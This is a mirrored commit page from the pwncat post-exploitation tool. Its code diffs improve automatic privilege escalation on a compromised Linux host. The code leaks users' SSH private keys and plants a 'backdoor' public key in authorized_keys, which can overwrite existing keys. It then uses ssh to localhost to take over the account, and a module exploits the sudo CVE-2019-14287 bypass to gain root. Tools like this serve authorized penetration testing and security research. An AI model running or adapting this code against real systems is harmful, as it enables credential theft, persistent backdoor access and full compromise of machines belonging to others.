1
0
mirror of https://github.com/calebstewart/pwncat.git synced 2024-11-27 10:54:14 +01:00

Added progress argument and improved auto escalate

`progress` argument is needed for recursive module invocation.
Also, improved the algorithm for finding escalation through
SSH private key leaking/authorized keys writing.
This commit is contained in:
Caleb Stewart 2020-09-03 17:23:58 -04:00
parent fa8cf9dd06
commit fdac13d275
7 changed files with 236 additions and 131 deletions

View File

@ -240,6 +240,8 @@ class CommandParser:
# We have a connection! Go back to raw mode
pwncat.victim.state = State.RAW
self.running = False
except KeyboardInterrupt:
continue
except (Exception, KeyboardInterrupt):
console.print_exception(width=None)
continue

View File

@ -144,9 +144,6 @@ def run_decorator(real_run):
elif key not in kwargs and self.ARGUMENTS[key].default is NoValue:
raise MissingArgument(key)
if "exec" in kwargs and kwargs["exec"] and not has_exec:
raise Exception(f"What the hell? {self.ARGUMENTS['exec'].default}")
# Save progress reference
self.progress = progress
@ -179,18 +176,22 @@ def run_decorator(real_run):
if not isinstance(item, Status):
results.append(item)
# This task is done
self.progress.update(
task, completed=True, visible=False, status="complete"
)
if self.COLLAPSE_RESULT and len(results) == 1:
return results[0]
return results
finally:
if progress is None:
# If we are the last task/this is our progress bar,
# we don't hide ourselves. This makes the progress bar
# empty, and "transient" ends up remove an extra line in
# the terminal.
self.progress.stop()
else:
# This task is done, hide it.
self.progress.update(
task, completed=True, visible=False, status="complete"
)
else:
return result_object

View File

@ -4,6 +4,7 @@ from pathlib import Path
import collections
import itertools
import inspect
import fnmatch
from rich.progress import Progress
from rich import markup
@ -92,6 +93,21 @@ class Module(pwncat.modules.BaseModule):
facts = {}
for module in modules:
for pattern in types:
for typ in module.PROVIDES:
if fnmatch.fnmatch(typ, pattern):
# This pattern matched
break
else:
# This pattern didn't match any of the provided
# types
continue
# We matched at least one type for this module
break
else:
# We didn't match any types for this module
continue
# update our status with the name of the module we are evaluating
yield pwncat.modules.Status(module.name)

View File

@ -135,7 +135,7 @@ def LineParser(line):
class Module(EnumerateModule):
""" Enumerate sudo privileges for the current user. """
PROVIDES = ["sudo"]
PROVIDES = ["sudo.rule"]
SCHEDULE = Schedule.PER_USER
def enumerate(self):
@ -180,4 +180,4 @@ class Module(EnumerateModule):
# Build the beginning part of a normal spec
line = f"{pwncat.victim.current_user.name} local=" + line.strip()
yield "sudo", LineParser(line)
yield "sudo.rule", LineParser(line)

View File

@ -5,6 +5,8 @@ import dataclasses
import time
import os
import rich.prompt
import pwncat
from pwncat.modules import (
BaseModule,
@ -343,7 +345,8 @@ class EscalateResult(Result):
for technique in self.techniques[user]:
if Capability.WRITE in technique.caps:
try:
return technique.write(filepath, data)
technique.write(filepath, data)
return technique
except EscalateError:
continue
@ -365,7 +368,9 @@ class EscalateResult(Result):
# Send the exit command to return to the previous user/undo what we
# did to get here.
pwncat.victim.client.send(exit_cmd)
exit_cmd.unwrap()
return exit_cmd.chain[0][0]
def read(self, user: str, filepath: str, progress, no_exec: bool = False):
""" Attempt to use all the techniques enumerated to read a file
@ -378,7 +383,7 @@ class EscalateResult(Result):
for technique in self.techniques[user]:
if Capability.READ in technique.caps:
try:
return technique.read(filepath)
return technique.read(filepath), technique
except EscalateError:
continue
@ -396,11 +401,125 @@ class EscalateResult(Result):
filp = pwncat.victim.open(filepath, "r",)
# Our exit command needs to be run as well when the file is
# closed
filp.exit_cmd += exit_cmd
return filp
original_close = filp.close
def new_close():
original_close()
exit_cmd.unwrap()
filp.close = new_close
return filp, exit_cmd.chain[0][0]
except (PermissionError, FileNotFoundError):
raise EscalateError(f"file read as {user} not possible")
def read_auth_keys(self, user: str, progress):
""" Attempt to read the users authorized keys file. """
for fact in pwncat.modules.run(
"enumerate.gather", types=["service.sshd.config"], progress=progress
):
if "AuthorizedKeysFile" in fact.data:
authkeys_paths = fact.data["AuthorizedKeysFile"].split(" ")
for i in range(len(authkeys_paths)):
path = authkeys_paths[i].replace("%%", "%")
path = path.replace("%h", pwncat.victim.users[user].homedir)
path = path.replace("%u", user)
if not path.startswith("/"):
path = os.path.join(pwncat.victim.users[user].homedir, path)
authkeys_paths[i] = path
break
if "AuthorizedKeysCommand" in fact.data:
authkeys_paths = []
break
else:
authkeys_paths = [
os.path.join(pwncat.victim.users[user].homedir, ".ssh/authorized_keys")
]
# Failed
if not authkeys_paths:
return None
try:
for path in authkeys_paths:
filp, _ = self.read(user, path, progress, no_exec=True)
with filp:
authkeys = (
filp.read()
.strip()
.decode("utf-8")
.replace("\r\n", "\n")
.split("\n")
)
authkeys_path = path
except EscalateError:
authkeys = None
authkeys_path = None if not authkeys_paths else authkeys_paths[0]
return authkeys, authkeys_path
def leak_private_key(self, user: str, progress, auth_keys: List[str]):
""" Attempt to leak a user's private key """
privkey_names = ["id_rsa"]
for privkey_name in privkey_names:
privkey_path = os.path.join(
pwncat.victim.users[user].homedir, ".ssh", privkey_name
)
pubkey_path = privkey_path + ".pub"
try:
filp, technique = self.read(user, privkey_path, progress, no_exec=True)
with filp:
privkey = (
filp.read().replace(b"\r\n", b"\n").decode("utf-8").rstrip("\n")
+ "\n"
)
except EscalateError:
progress.log(f"reading failed :(")
continue
try:
filp, _ = self.read(user, pubkey_path, progress, no_exec=True)
with filp:
pubkey = filp.read().strip().decode("utf-8")
except EscalateError:
pubkey = None
# If we have authorized keys and a public key,
# verify this key is valid
if auth_keys is not None and pubkey is not None:
if pubkey not in auth_keys:
continue
return privkey, technique
return None, None
def write_authorized_key(
self, user: str, pubkey: str, authkeys: List[str], authkeys_path: str, progress
):
""" Attempt to Write the given public key to the user's authorized
keys file. Return True if successful, otherwise return False.
The authorized keys file will be overwritten with the contents of the given
authorized keys plus the specified public key. You should read the authorized
keys file first in order to not clobber any existing keys.
"""
try:
authkeys.append(pubkey.rstrip("\n"))
data = "\n".join(authkeys)
data = data.rstrip("\n") + "\n"
technique = self.write(
user, authkeys_path, data.encode("utf-8"), progress, no_exec=True
)
except EscalateError:
return None
return technique
def exec(self, user: str, shell: str, progress):
""" Attempt to use all the techniques enumerated to execute a
shell as the specified user """
@ -410,23 +529,14 @@ class EscalateResult(Result):
target_user = pwncat.victim.users[user]
task = progress.add_task("", module="escalating", status="...")
# Ensure all output is flushed
pwncat.victim.flush_output()
# Ensure we are in a safe directory
pwncat.victim.chdir("/tmp")
if user in self.techniques:
# Catelog techniques based on capability
readers: List[Technique] = []
writers: List[Technique] = []
# Ensure all output is flushed
pwncat.victim.flush_output()
# Ensure we are in a safe directory
pwncat.victim.chdir("/tmp")
for technique in self.techniques[user]:
if Capability.READ in technique.caps:
readers.append(technique)
if Capability.WRITE in technique.caps:
readers.append(technique)
if Capability.SHELL in technique.caps:
try:
progress.update(task, status=str(technique))
@ -454,129 +564,98 @@ class EscalateResult(Result):
except EscalateError:
continue
progress.update(task, status="checking for ssh server")
progress.update(task, status="checking for ssh server")
sshd = None
for fact in pwncat.modules.run(
"enumerate.gather", progress=progress, types=["system.service"]
):
if "sshd" in fact.data.name and fact.data.state == "running":
sshd = fact.data
# Enumerate system services loooking for an sshd service
sshd = None
for fact in pwncat.modules.run(
"enumerate.gather", progress=progress, types=["system.service"]
):
if "sshd" in fact.data.name and fact.data.state == "running":
sshd = fact.data
break
ssh_path = pwncat.victim.which("ssh")
used_tech = None
# Look for the `ssh` binary
ssh_path = pwncat.victim.which("ssh")
if sshd is not None and sshd.state == "running" and ssh_path:
# SSH is running and we have a local SSH binary
# If ssh is running, and we have a local `ssh`, then we can
# attempt to leak private keys via readers/writers and
# escalate with an ssh user@localhost
if sshd is not None and sshd.state == "running" and ssh_path:
progress.update(task, "checking authorized keys location")
# Read the user's authorized keys
progress.update(task, status="attempting to read authorized keys")
authkeys, authkeys_path = self.read_auth_keys(user, progress)
# Get the path to the authorized keys file
for fact in pwncat.modules.run(
"enumerate.gather", progress=progress, types=["sshd.authkey_path"],
):
authkey_path = fact.data
break
else:
progress.log(
"[yellow]warning[/yellow]: assuming authorized key path: .ssh/authorized_keys"
)
authkey_path = ".ssh/authorized_keys"
# Attempt to read private key
progress.update(task, status="attempting to read private keys")
privkey, used_tech = self.leak_private_key(user, progress, authkeys)
# Find relative authorized keys directory
home = pwncat.victim.users[user].homedir
if not authkey_path.startswith("/"):
if home == "" or home is None:
raise EscalateError("no user home directory")
# We couldn't read the private key
if privkey is None:
authkey_path = os.path.join(home, authkey_path)
progress.update(task, status="reading authorized keys")
# Attempt to read the authorized keys file
# this may raise a EscalateError, but that's fine.
# If we don't have this, we can't do escalate anyway
with self.read(user, authkey_path, no_exec=True) as filp:
authkeys = [line.strip().decode("utf-8") for line in filp]
for pubkey_path in ["id_rsa.pub"]:
# Read the public key
pubkey_path = os.path.join(home, ".ssh", pubkey_path)
progress.update(task, status=f"attempting to read {pubkey_path}")
with self.read(user, pubkey_path, no_exec=True) as filp:
pubkey = filp.read().strip().decode("utf-8")
if pubkey not in authkeys:
continue
# The public key is an authorized key
privkey_path = pubkey_path.replace(".pub", "")
progress.update(
task,
status=f"attempting to read {pubkey_path.replace('.pub', '')}",
)
try:
with self.read(user, privkey_path, no_exec=True) as filp:
privkey = (
filp.read()
.strip()
.decode("utf-8")
.replace("\r\n", "\n")
)
except EscalateError:
# Unable to read private key
continue
# NOTE - this isn't technically true... it could have been any
# of the readers...
used_tech = readers[0]
break
else:
# We couldn't read any private keys. Try to write one instead
try:
# Read our backdoor private key
with open(pwncat.victim.config["privkey"], "r") as filp:
privkey = filp.read()
with open(pwncat.victim.config["privkey"] + ".pub", "r") as filp:
pubkey = filp.read().strip()
pubkey = filp.read()
# Add our public key
authkeys.append(pubkey)
if authkeys is None:
# This is important. Ask the user if they want to
# clobber the authorized keys
progress.stop()
if rich.prompt.Confirm(
"could not read authorized keys; attempt to clobber user keys?"
):
authkeys = []
progress.start()
# This may cause a EscalateError, but that's fine. We have failed
# if we can't write anyway.
progress.update(task, status="adding backdoor public key")
self.write(
user, authkey_path, ("\n".join(authkeys) + "\n").encode("utf-8")
)
# Attempt to write to the authorized keys file
if authkeys is None:
progress.update(
task, status="attemping to write authorized keys"
)
used_tech = self.write_authorized_key(
user, pubkey, authkeys, authkeys_path, progress
)
if used_tech is None:
privkey = None
# NOTE - this isn't technically true... it could have been any
# of the writers
used_tech = writers[0]
except (FileNotFoundError, PermissionError):
privkey = None
# Private keys **NEED** a new line
privkey = privkey.strip() + "\n"
if privkey is not None:
# Write the private key
# Write the private key to a temporary file for local usage
progress.update(task, status="uploading private key")
with pwncat.victim.tempfile("w", length=len(privkey)) as filp:
filp.write(privkey)
privkey_path = filp.name
# Ensure we track this new file
pwncat.victim.tamper.created_file(privkey_path)
tamper = pwncat.victim.tamper.created_file(privkey_path)
# SSH needs strict permissions
progress.update(task, status="fixing private key permissions")
pwncat.victim.run(f"chmod 600 {privkey_path}")
# First, run a test to make sure we authenticate
progress.update(task, status="testing local escalation")
command = (
f"{ssh_path} -i {privkey_path} -o StrictHostKeyChecking=no -o PasswordAuthentication=no "
f"{user}@127.0.0.1"
)
output = pwncat.victim.run(f"{command} echo good")
# We failed. Remove the private key and raise an
# exception
if b"good" not in output:
tamper.revert()
pwncat.victim.tamper.remove(tamper)
raise EscalateError("ssh private key failed")
# The test worked! Run the real escalate command
progress.update(task, status="escalating via ssh!")
pwncat.victim.process(command)
pwncat.victim.reset(hard=False)

View File

@ -11,6 +11,7 @@ from pwncat.modules.escalate import (
from packaging import version
class Module(EscalateModule):
"""
Escalate to root using CVE-2019-14287 sudo vulnerability.
@ -19,20 +20,22 @@ class Module(EscalateModule):
def enumerate(self):
""" Enumerate SUDO vulnerability """
sudo_fixed_version = '1.8.28'
sudo_fixed_version = "1.8.28"
try:
# Check the sudo version number
sudo_version = pwncat.victim.enumerate.first("system.sudo_version")
except FileNotFoundError:
return
for fact in pwncat.modules.run(
"enumerate.sudo_version", progress=self.progress
):
sudo_version = fact
break
if version.parse(sudo_version.data.version) >= version.parse(sudo_fixed_version):
if version.parse(sudo_version.data.version) >= version.parse(
sudo_fixed_version
):
# Patched version, no need to check privs
return
rules = []
for fact in pwncat.modules.run("enumerate.sudoers"):
for fact in pwncat.modules.run("enumerate.sudoers", progress=self.progress):
# Doesn't appear to be a user specification
if not fact.data.matched:
@ -60,13 +63,17 @@ class Module(EscalateModule):
rules.append(fact.data)
for rule in rules:
userlist = [x.strip() for x in rule.runas_user.split(',')]
userlist = [x.strip() for x in rule.runas_user.split(",")]
if "ALL" in userlist and "!root" in userlist:
for command in rule.commands:
for method in pwncat.victim.gtfo.iter_sudo(
command, caps=Capability.ALL
):
yield GTFOTechnique("root", self, method, user="\\#-1", spec=command)
yield GTFOTechnique(
"root", self, method, user="\\#-1", spec=command
)
def human_name(self, tech: "Technique"):
return f"[cyan]{tech.method.binary_path}[/cyan] ([red]sudo CVE-2019-14287[/red])"
return (
f"[cyan]{tech.method.binary_path}[/cyan] ([red]sudo CVE-2019-14287[/red])"
)

View File

@ -20,7 +20,7 @@ class Module(EscalateModule):
def enumerate(self):
""" Enumerate SUDO permissions """
rules = []
for fact in pwncat.modules.run("enumerate.sudoers"):
for fact in pwncat.modules.run("enumerate.sudoers", progress=self.progress):
# Doesn't appear to be a user specification
if not fact.data.matched: